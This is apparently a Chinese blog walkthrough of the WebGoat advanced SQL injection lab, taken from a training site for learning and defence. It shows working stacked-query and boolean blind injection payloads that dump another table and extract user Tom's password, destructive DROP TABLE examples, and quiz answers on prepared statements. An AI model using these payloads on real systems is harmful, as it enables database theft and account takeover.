前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEBGOAT.2.2 SQL Injection (advanced)

WEBGOAT.2.2 SQL Injection (advanced)

原创
作者头像
用户8478947
发布2022-09-12 18:06:17
6730
发布2022-09-12 18:06:17
举报
文章被收录于专栏:安全学习安全学习

0x1.Concept

讲了本模块能学习到更进一步的SQL注入,目标是学习联合查询注入和SQL盲注。

0x2.Special Characters AND Special Statements

一些特殊的字符
注释
代码语言:javascript
复制
/*   */         内联注释
-- , #          单行注释
​
Example: 
    SELECT * FROM users WHERE name = 'admin' -- AND pass = 'pass'
equal:
    SELECT * FROM users WHERE name = 'admin'
连接
代码语言:javascript
复制
;        允许链接查询
​
Example: 
    SELECT * FROM users; DROP TABLE users;
equal:
    SELECT * FROM users;
    DROP TABLE users;
拼接
代码语言:javascript
复制
',+,||         允许字符串连接
Char()         不带引号的字符串
​
Example: 
    SELECT * FROM users WHERE name = '+char(27) OR 1=1
一些特殊的语法
Union

Union运算符用于组合两个或多个SELECT语句的结果。

代码语言:javascript
复制
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
Join

Join运算符用于根据相关列合并两个或多个表中的行

代码语言:javascript
复制
SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;

0x3.Try It! Pulling data from other tables

过关

题目要求我们查询另外的一张表user_system_data,我们只需要把当前要执行的sql语句闭合,然后再输入查询另外一张表的sql语法即可。

首先看下当前执行的sql语句是什么。

代码语言:javascript
复制
SELECT * FROM user_data WHERE last_name = 'abc'
image-20220908204441546
image-20220908204441546

发现当前执行的sql语句是单引号闭合的,因此我们可以先添加一个单引号进行闭合,然后使用堆叠注入来插入自己要执行的sql语句即可,需要注意的是,结尾需要进行注释,将后面的sql语句进行注释。

代码语言:javascript
复制
abc' ; select * from user_system_data --

最终执行的是

代码语言:javascript
复制
SELECT * FROM user_data WHERE last_name = 'abc' ; select * from user_system_data --'
image-20220908204821592
image-20220908204821592
源码

没有采用java中的预编译preparedstatement来进行处理,因此存在sql注入漏洞。

image-20220908205440544
image-20220908205440544

0x4.Blind SQL injection

介绍了sql盲注的概念和使用场景,以及sql盲注的难点是在没有显示任何内容的情况下,需要根据正确或错误的语句来判断当前的语句是否执行正确。

sql盲注有两种,一种是基于时间的sql盲注,还有一种是基于布尔盲注。

基于时间的sql盲注例子:

就是根据语句的执行时间来判断是否注入。

代码语言:javascript
复制
SELECT * FROM articles WHERE article_id = 4 and sleep(10) --

基于布尔的sql盲注例子:

就是判断sql语句的正确与否来进行注入。

代码语言:javascript
复制
SELECT * FROM articles WHERE article_id = 4 and 1 = 1

0x5.Can you login as Tom?

题目简介

要求我们使用Tom用户进行登录,有页面两个功能,一个登录功能,还有一个的注册功能。

image-20220908213634917
image-20220908213634917
源码
登录框源码

首先查看下登录功能的源码,需要抓包得到url是/SqlInjectionAdvanced/challenge_Login

发现使用了预编译preparedstatement,还使用了问号对sql语句进行了占位,因此是安全的,所以无法从登陆款进行下手。

image-20220908213826052
image-20220908213826052
注册框源码

查看下注册功能的源码,抓包得到url是/SqlInjectionAdvanced/challenge

image-20220908215028791
image-20220908215028791
过关

根据源码来构造tom用户来进行注册,发现返回的结果证明了tom用户是存在的。

代码语言:javascript
复制
username_reg=tom&email_reg=1111111111%40qq.com&password_reg=admin&confirm_password_reg=admin
image-20220908225613707
image-20220908225613707

查找注入点,发现注入点和源码分析的一样是在username_reg中(这里需要注意的是,需要把前面的置为错误,后面置为正确的才能够判断不是前面的原因导致的sql执行正确)

代码语言:javascript
复制
username_reg=tom1' or  1=1 -- + 
image-20220908231626535
image-20220908231626535

查看下密码的长度。

这里是根据lessonCompleted字段来判断的,如果值为false,就说明sql语句的执行结果是正确的;否则就是错误的。

也可以采用返回结果中是否有already来判断,如果有也能说明是正确的。

代码语言:javascript
复制
username_reg=tom1' or length(password)>10 -- + 
image-20220908231804021
image-20220908231804021

一个个试,最终锁定长度是23

代码语言:javascript
复制
username_reg=tom1' or length(password)=23 -- + 
image-20220908232005217
image-20220908232005217

然后根据password的长度,来使用substr函数来进行逐个密码字符的爆破,

代码语言:javascript
复制
username_reg=tom1' or substr(password,1,1)='t' -- + 
image-20220908233820211
image-20220908233820211

最终得到的密码是thisisasecretfortomonly

image-20220908233952127
image-20220908233952127

但是,这里是不严谨的,首先本关卡不知道表名字,因此我们就无法得到其中的列,而我们这里的password就是其中的一列数据。

其次,我通过源码的翻找,发现该题的sql数据有四行数据,因此会出现password的某些位置会出现多个相等的情况。

0x6.Now it is time for a quiz!

1.

  • What is the difference between a prepared statement and a statement? prepared statementstatement的区别是什么?
  • Solution 4: A statement has got values instead of a prepared statement statement有值,而不是一条预编译的语句。

2.

  • Q:Which one of the following characters is a placeholder for variables? 以下哪个字符是变量的占位符?
  • A:? 问号

3.

  • Q:How can prepared statements be faster than statements? prepared statements哪里比statements快?
  • A:Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way. prepared statements由等待输入的数据库管理系统编译一次,并以这种方式进行预编译。

4.

  • Q:How can a prepared statement prevent SQL-Injection? prepared statement如何防止SQL注入?
  • A:Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data. 占位符可以防止用户输入到SQL查询,从而导致代码和数据分离。

5.

  • Q:What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement? 如果有恶意的人在登记表中写下:Robert); DROP TABLE Students;--会发生什么?
  • A:The database registers 'Robert' ); DROP TABLE Students;--' 数据库注册Robert,并且删除Students表

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x1.Concept
  • 0x2.Special Characters AND Special Statements
    • 一些特殊的字符
      • 注释
      • 连接
      • 拼接
    • 一些特殊的语法
      • Union
      • Join
  • 0x3.Try It! Pulling data from other tables
    • 过关
      • 源码
      • 0x4.Blind SQL injection
      • 0x5.Can you login as Tom?
        • 题目简介
          • 源码
            • 登录框源码
            • 注册框源码
          • 过关
          • 0x6.Now it is time for a quiz!
          相关产品与服务
          数据库智能管家 DBbrain
          数据库智能管家(TencentDB for DBbrain,DBbrain)是腾讯云推出的一款为用户提供数据库性能、安全、管理等功能的数据库自治云服务。DBbrain 利用机器学习、大数据手段、专家经验引擎快速复制资深数据库管理员的成熟经验,将大量传统人工的数据库运维工作智能化,服务于云上和云下企业,有效保障数据库服务的安全、稳定及高效运行。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档